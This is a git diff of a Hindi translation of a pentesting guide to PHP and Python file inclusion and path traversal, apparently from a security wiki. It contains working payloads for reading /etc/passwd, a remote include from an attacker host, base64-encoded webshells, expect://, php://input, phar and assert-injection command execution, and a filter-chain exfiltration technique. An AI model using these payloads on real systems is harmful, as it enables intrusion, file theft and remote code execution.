In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
|
इन परिदृश्यों में, आवश्यक ट्रैवर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर की configuration के आधार पर बदल सकती है।
|
||||||
|
|
||||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
|
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) को अतिरिक्त dot segments और characters के साथ मिलाकर file system में नेविगेट करने के लिए उपयोग किया जा सकता है, जिससे सर्वर द्वारा जोड़ी गई appended strings प्रभावहीन हो सकती हैं।
|
||||||
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
|
- **Determining the Required Number of Traversals**: trial and error के माध्यम से, कोई सटीक संख्या खोज सकता है कि कितनी `../` sequences की आवश्यकता है ताकि root directory और फिर `/etc/passwd` तक पहुंचा जा सके, यह सुनिश्चित करते हुए कि किसी भी appended strings (जैसे `.php`) को neutralize किया गया है पर इच्छित path (`/etc/passwd`) बरकरार रहे।
|
||||||
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
|
- **Starting with a Fake Directory**: यह सामान्य प्रैक्टिस है कि path को एक non-existent directory (जैसे `a/`) से शुरू किया जाए। यह technique एक सावधानी के तौर पर या server के path parsing logic की आवश्यकताओं को पूरा करने के लिए इस्तेमाल की जाती है।
|
||||||
|
|
||||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
path truncation techniques का प्रयोग करते समय, server के path parsing व्यवहार और filesystem संरचना को समझना बहुत जरूरी है। हर परिदृश्य अलग दृष्टिकोण माँग सकता है, और सबसे प्रभावी तरीका खोजने के लिए अक्सर testing आवश्यक होती है।
|
||||||
|
|
||||||
**This vulnerability was corrected in PHP 5.3.**
|
**यह कमज़ोरी PHP 5.3 में ठीक कर दी गई थी।**
|
||||||
|
|
||||||
### **Filter bypass tricks**
|
### **Filter bypass tricks**
|
||||||
```
|
```
|
||||||
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
|
|||||||
```
|
```
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
php में यह डिफ़ॉल्ट रूप से निष्क्रिय होता है क्योंकि **`allow_url_include`** **Off.** इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने server से एक PHP फ़ाइल include करके RCE प्राप्त कर सकते हैं:
|
php में यह डिफ़ॉल्ट रूप से निष्क्रिय होता है क्योंकि **`allow_url_include`** **Off.** इसे काम करने के लिए **On** होना चाहिए, और उस स्थिति में आप अपने सर्वर से एक PHP file include करके RCE प्राप्त कर सकते हैं:
|
||||||
```python
|
```python
|
||||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||||
```
|
```
|
||||||
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [इस पोस्ट के अनुसार](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), आप उदाहरण के लिए data protocol का उपयोग base64 के साथ कर सकते हैं ताकि b64 PHP कोड को decode करने और egt RCE पाने के लिए:
|
यदि किसी कारणवश **`allow_url_include`** **On** है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को **filtering** कर रहा है, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), तो आप उदाहरण के लिए data protocol के साथ base64 का उपयोग करके b64 PHP code को decode कर सकते हैं और RCE प्राप्त कर सकते हैं:
|
||||||
```
|
```
|
||||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> पिछले कोड में, अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि attacker को ऐसी string चाहिए थी जो `.txt` पर समाप्त हो; इसलिए string उसी के साथ खत्म होती है और b64 decode के बाद वह हिस्सा सिर्फ जंक लौटाएगा और असली PHP code शामिल (और इसलिए, executed) होगा।
|
> पिछले कोड में अंतिम `+.txt` इसलिए जोड़ा गया था क्योंकि attacker को ऐसी string चाहिए थी जो `.txt` पर समाप्त होती हो; इसलिए string इसके साथ समाप्त होती है और b64 decode के बाद वह हिस्सा बस बेकार डेटा लौटा देगा और असली PHP कोड शामिल (और इसलिए, निष्पादित) हो जाएगा।
|
||||||
>
|
|
||||||
> एक और उदाहरण जो **`php://` protocol का उपयोग न करने वाला** होगा:
|
एक और उदाहरण जो **`php://` प्रोटोकॉल का उपयोग नहीं कर रहा है** होगा:
|
||||||
```
|
```
|
||||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||||
```
|
```
|
||||||
## Python रूट एलिमेंट
|
## Python रूट एलिमेंट
|
||||||
|
|
||||||
Python में, इस तरह के कोड में:
|
python में, इस तरह के कोड में:
|
||||||
```python
|
```python
|
||||||
# file_name is controlled by a user
|
# file_name is controlled by a user
|
||||||
os.path.join(os.getcwd(), "public", file_name)
|
os.path.join(os.getcwd(), "public", file_name)
|
||||||
@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||||||
```
|
```
|
||||||
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
|
यह [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) के अनुसार इच्छित व्यवहार है:
|
||||||
|
|
||||||
> अगर कोई घटक absolute path है, तो सभी पिछले घटक हटा दिए जाते हैं और joining absolute path घटक से जारी रहती है।
|
> अगर कोई component एक absolute path है, तो सभी previous components हटा दिए जाते हैं और joining absolute path component से जारी रहती है।
|
||||||
|
|
||||||
## Java डायरेक्टरी सूची
|
## Java डायरेक्टरी सूची
|
||||||
|
|
||||||
ऐसा लगता है कि अगर आपके पास Java में एक Path Traversal है और आप फ़ाइल की बजाय **डायरेक्टरी के लिए अनुरोध करते हैं**, तो **डायरेक्टरी की सूची वापस की जाती है**। यह अन्य भाषाओं में नहीं होगा (जहां तक मुझे पता है)।
|
ऐसा लगता है कि अगर आपके पास Java में Path Traversal है और आप **file के बजाय directory के लिए अनुरोध करते हैं**, तो **directory की listing लौटाई जाती है**। यह अन्य भाषाओं में नहीं होगा (afaik).
|
||||||
|
|
||||||
## शीर्ष 25 पैरामीटर
|
## शीर्ष 25 पैरामीटर
|
||||||
|
|
||||||
यहाँ शीर्ष 25 पैरामीटरों की सूची है जो local file inclusion (LFI) कमजोरियों के लिए संवेदनशील हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
यहाँ शीर्ष 25 पैरामीटरों की सूची दी गई है जो local file inclusion (LFI) vulnerabilities के लिए vulnerable हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||||
```
|
```
|
||||||
?cat={payload}
|
?cat={payload}
|
||||||
?dir={payload}
|
?dir={payload}
|
||||||
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|||||||
?mod={payload}
|
?mod={payload}
|
||||||
?conf={payload}
|
?conf={payload}
|
||||||
```
|
```
|
||||||
## LFI / RFI using PHP wrappers & protocols
|
## LFI / RFI PHP wrappers & protocols का उपयोग
|
||||||
|
|
||||||
### php://filter
|
### php://filter
|
||||||
|
|
||||||
PHP filters डेटा को पढ़े या लिखा जाने से पहले बुनियादी **संशोधन ऑपरेशन** करने की अनुमति देते हैं। फ़िल्टर की 5 श्रेणियाँ हैं:
|
PHP filters पढ़े या लिखे जाने से पहले डेटा पर बुनियादी **संशोधन संचालन** करने की अनुमति देते हैं। फ़िल्टर की 5 श्रेणियाँ हैं:
|
||||||
|
|
||||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||||
- `string.rot13`
|
- `string.rot13`
|
||||||
- `string.toupper`
|
- `string.toupper`
|
||||||
- `string.tolower`
|
- `string.tolower`
|
||||||
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
|
- `string.strip_tags`: डेटा से टैग हटाता है ( "<" और ">" अक्षरों के बीच सब कुछ )
|
||||||
- Note that this filter has disappear from the modern versions of PHP
|
- ध्यान दें कि यह फ़िल्टर आधुनिक PHP वर्शन में गायब हो चुका है
|
||||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||||
- `convert.base64-encode`
|
- `convert.base64-encode`
|
||||||
- `convert.base64-decode`
|
- `convert.base64-decode`
|
||||||
- `convert.quoted-printable-encode`
|
- `convert.quoted-printable-encode`
|
||||||
- `convert.quoted-printable-decode`
|
- `convert.quoted-printable-decode`
|
||||||
- `convert.iconv.*` : किसी अलग encoding में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). सभी supported एन्कोडिंग्स की **सूची** प्राप्त करने के लिए कंसोल में चलाएँ: `iconv -l`
|
- `convert.iconv.*` : अलग एन्कोडिंग में बदलता है (`convert.iconv.<input_enc>.<output_enc>`). सभी समर्थित एन्कोडिंग्स की **सूची** पाने के लिए कंसोल में चलाएँ: `iconv -l`
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `convert.iconv.*` conversion filter का दुरुपयोग करके आप **मनमाना टेक्स्ट** जनरेट कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसी फ़ंक्शन को मनमाना टेक्स्ट प्रोसेस करने योग्य बनाने में उपयोगी हो सकता है। अधिक जानकारी के लिए देखें [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
> `convert.iconv.*` conversion filter का दुरुपयोग करके आप **मनमाना टेक्स्ट उत्पन्न** कर सकते हैं, जो मनमाना टेक्स्ट लिखने या include जैसे function को मनमाना टेक्स्ट प्रोसेस कराने के लिए उपयोगी हो सकता है। For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||||
|
|
||||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||||
- `zlib.deflate`: सामग्री को compress करता है (यदि बहुत सारा info exfiltrating करना हो तो उपयोगी)
|
- `zlib.deflate`: सामग्री को compress करता है (useful if exfiltrating a lot of info)
|
||||||
- `zlib.inflate`: डेटा को decompress करता है
|
- `zlib.inflate`: डेटा को decompress करता है
|
||||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||||
- `mcrypt.*` : Deprecated
|
- `mcrypt.*` : अप्रचलित
|
||||||
- `mdecrypt.*` : Deprecated
|
- `mdecrypt.*` : अप्रचलित
|
||||||
- Other Filters
|
- Other Filters
|
||||||
- PHP में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित फिल्टर** पाएंगे:
|
- php में `var_dump(stream_get_filters());` चलाने पर आप कुछ **अनपेक्षित फिल्टर** पा सकते हैं:
|
||||||
- `consumed`
|
- `consumed`
|
||||||
- `dechunk`: HTTP chunked encoding को reverse करता है
|
- `dechunk`: HTTP chunked encoding को उलट देता है
|
||||||
- `convert.*`
|
- `convert.*`
|
||||||
```php
|
```php
|
||||||
# String Filters
|
# String Filters
|
||||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
|||||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> भाग "php://filter" case-insensitive है
|
> "php://filter" भाग अक्षर-मामले के प्रति असंवेदनशील है
|
||||||
|
|
||||||
### php filters को oracle के रूप में उपयोग करके arbitrary files पढ़ना
|
### php filters को oracle के रूप में उपयोग करके मनमानी फ़ाइलें पढ़ना
|
||||||
|
|
||||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) में एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस न मिलने पर भी एक local file पढ़ने की अनुमति देती है। यह तकनीक php filters को oracle के रूप में उपयोग करके फ़ाइल की **boolean exfiltration (char by char)** पर आधारित है। ऐसा इसलिए है क्योंकि php filters का उपयोग टेक्स्ट को इतना बड़ा बनाने के लिए किया जा सकता है कि php एक exception फेंक दे।
|
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) एक तकनीक प्रस्तावित की गई है जो सर्वर से आउटपुट वापस न मिलने पर भी स्थानीय फ़ाइल पढ़ने की अनुमति देती है। यह तकनीक **boolean exfiltration of the file (char by char) using php filters** पर आधारित है और इन्हें oracle के रूप में उपयोग करती है। ऐसा इसलिए है क्योंकि php filters टेक्स्ट को इतना बड़ा बना सकते हैं कि php exception फेंक दे।
|
||||||
|
|
||||||
Original post में तकनीक का विस्तृत विवरण मिलता है, लेकिन यहाँ एक संक्षिप्त सारांश है:
|
मूल पोस्ट में इस तकनीक की विस्तृत व्याख्या मिलती है, पर यहाँ एक संक्षिप्त सारांश है:
|
||||||
|
|
||||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||||
- यह, पिछले वाले के साथ मिलकर (और अनुमानित अक्षर पर निर्भर अन्य filters के साथ), हमें टेक्स्ट के शुरूआत के एक अक्षर का अनुमान लगाने की अनुमति देगा — जब हम पर्याप्त transformations करते हैं ताकि वह अब hexadecimal character न रहे। क्योंकि अगर hex है तो dechunk उसे नहीं हटाएगा और शुरुआती बम php error ट्रिगर करेगा।
|
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||||
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak.
|
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||||
|
|
||||||
पोस्ट में इसे ऑटोमेट करने के लिए एक टूल भी leak किया गया: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
पोस्ट में इसे ऑटोमेटिक करने के लिए एक टूल भी leaked किया गया था: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
यह wrapper प्रोसेस के द्वारा खुले हुए file descriptors तक पहुँचने की अनुमति देता है। खुले हुए फ़ाइलों की सामग्री exfiltrate करने के लिए संभावित रूप से उपयोगी:
|
यह wrapper उन file descriptors तक पहुँचने की अनुमति देता है जो process के पास open हैं। संभावित रूप से यह opened files की सामग्री को exfiltrate करने में उपयोगी हो सकता है:
|
||||||
```php
|
```php
|
||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
आप **php://stdin, php://stdout and php://stderr** का उपयोग करके क्रमशः **file descriptors 0, 1 and 2** तक भी पहुँच सकते हैं (निश्चित नहीं कि यह किसी हमले में कैसे उपयोगी हो सकता है)
|
आप **php://stdin, php://stdout and php://stderr** का उपयोग करके क्रमशः **फ़ाइल डिस्क्रिप्टर 0, 1 और 2** तक भी पहुँच सकते हैं (पता नहीं है कि यह किसी attack में कैसे उपयोगी हो सकता है)
|
||||||
|
|
||||||
### zip:// and rar://
|
### zip:// and rar://
|
||||||
|
|
||||||
एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell अंदर हो और उसे एक्सेस करें.\
|
एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell अंदर हो और इसे एक्सेस करें.\
|
||||||
rar protocol का दुरुपयोग करने में सक्षम होने के लिए इसे **विशेष रूप से सक्रिय किया जाना चाहिए**.
|
rar protocol का दुरुपयोग करने के लिए इसे **विशेष रूप से सक्रिय किया जाना आवश्यक है**।
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है
|
ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन **`allow_url_open`** और **`allow_url_include`** द्वारा प्रतिबंधित है।
|
||||||
|
|
||||||
### expect://
|
### expect://
|
||||||
|
|
||||||
Expect को सक्रिय होना चाहिए। आप इसका उपयोग करके कोड चला सकते हैं:
|
Expect को सक्रिय होना चाहिए। आप इससे कोड निष्पादित कर सकते हैं:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=expect://id
|
http://example.com/index.php?page=expect://id
|
||||||
http://example.com/index.php?page=expect://ls
|
http://example.com/index.php?page=expect://ls
|
||||||
@ -345,7 +345,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||||||
```
|
```
|
||||||
### phar://
|
### phar://
|
||||||
|
|
||||||
एक `.phar` फ़ाइल का उपयोग तब PHP कोड चलाने के लिए किया जा सकता है जब कोई वेब एप्लिकेशन फ़ाइल लोड करने के लिए `include` जैसे फ़ंक्शन का उपयोग करता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दिखाता है:
|
जब कोई वेब एप्लिकेशन फ़ाइल लोडिंग के लिए `include` जैसे फ़ंक्शनों का उपयोग करता है, तो `.phar` फ़ाइल का उपयोग PHP कोड चलाने के लिए किया जा सकता है। नीचे दिया गया PHP कोड स्निपेट एक `.phar` फ़ाइल बनाने का उदाहरण दर्शाता है:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('test.phar');
|
||||||
@ -354,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
|
|||||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
`.phar` फ़ाइल को कंपाइल करने के लिए, निम्नलिखित कमांड चलाया जाना चाहिए:
|
`.phar` फ़ाइल को कंपाइल करने के लिए, निम्नलिखित कमांड निष्पादित करें:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
|
||||||
|
|
||||||
ऐसे मामलों में जहाँ LFI केवल फ़ाइल पढ़ता है और उसके अंदर के PHP कोड को निष्पादित नहीं करता — उदाहरण के लिए `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, या `filesize()` के माध्यम से — तो deserialization vulnerability के शोषण का प्रयास किया जा सकता है। यह vulnerability `phar` प्रोटोकॉल का उपयोग करके फ़ाइल पढ़ने से जुड़ी हुई है।
|
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, or `filesize()`, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the `phar` protocol.
|
||||||
|
|
||||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||||
|
|
||||||
@ -374,73 +374,73 @@ phar-deserialization.md
|
|||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
संक्षेप में: PHP heap में एक **3 byte overflow** का दुरुपयोग करके free chunks की chain को बदल कर एक विशिष्ट आकार के chunks के साथ ऐसा करना संभव हुआ ताकि किसी भी address में कुछ भी लिखा जा सके, और इसलिए एक hook `system` को कॉल करने के लिए जोड़ा गया।\
|
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||||
अधिक php filters का दुरुपयोग करके विशिष्ट आकार के chunks को alloc करना संभव था।
|
It was possible to alloc chunks of specific sizes abusing more php filters.
|
||||||
|
|
||||||
### और प्रोटोकॉल
|
### More protocols
|
||||||
|
|
||||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — मेमोरी में या एक अस्थायी फ़ाइल में लिखता है (not sure how this can be useful in a file inclusion attack)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — स्थानीय फ़ाइल सिस्टम तक पहुँच
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accessing local filesystem
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URLs तक पहुँच
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accessing HTTP(s) URLs
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URLs तक पहुँच
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accessing FTP(s) URLs
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — pattern से मेल खाने वाले pathnames खोजता है (यह कुछ भी प्रिंटेबल नहीं लौटाता, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — ऑडियो स्ट्रीम्स (Not useful to read arbitrary files)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Not useful to read arbitrary files)
|
||||||
|
|
||||||
## PHP के 'assert' के माध्यम से LFI
|
## LFI via PHP's 'assert'
|
||||||
|
|
||||||
PHP में 'assert' function के साथ काम करते समय Local File Inclusion (LFI) का जोखिम काफी अधिक होता है, क्योंकि यह strings के भीतर कोड निष्पादित कर सकता है। यह विशेष रूप से समस्या तब बनती है जब ऐसी इनपुट जिसमें directory traversal characters जैसे ".." हों, की जाँच तो की जा रही हो लेकिन सही तरह से sanitize नहीं की जा रही हो।
|
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
|
||||||
|
|
||||||
For example, PHP code might be designed to prevent directory traversal like so:
|
For example, PHP code might be designed to prevent directory traversal like so:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
हालाँकि यह traversal को रोकने का प्रयास करता है, यह अनजाने में code injection के लिए एक vector बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसे एक्सप्लॉइट करने हेतु, एक attacker उपयोग कर सकता है:
|
जबकि इसका उद्देश्य traversal को रोकना है, यह अनजाने में code injection के लिए एक वेक्टर बना देता है। फ़ाइल की सामग्री पढ़ने के लिए इसका शोषण करने हेतु attacker निम्न का उपयोग कर सकता है:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
इसी तरह, arbitrary system commands को execute करने के लिए, कोई निम्नलिखित उपयोग कर सकता है:
|
इसी तरह, executing arbitrary system commands के लिए, कोई उपयोग कर सकता है:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
यह महत्वपूर्ण है कि आप इन **URL-encode these payloads** करें।
|
यह महत्वपूर्ण है कि आप इन payloads को **URL-encode** करें।
|
||||||
|
|
||||||
## PHP Blind Path Traversal
|
## PHP Blind Path Traversal
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
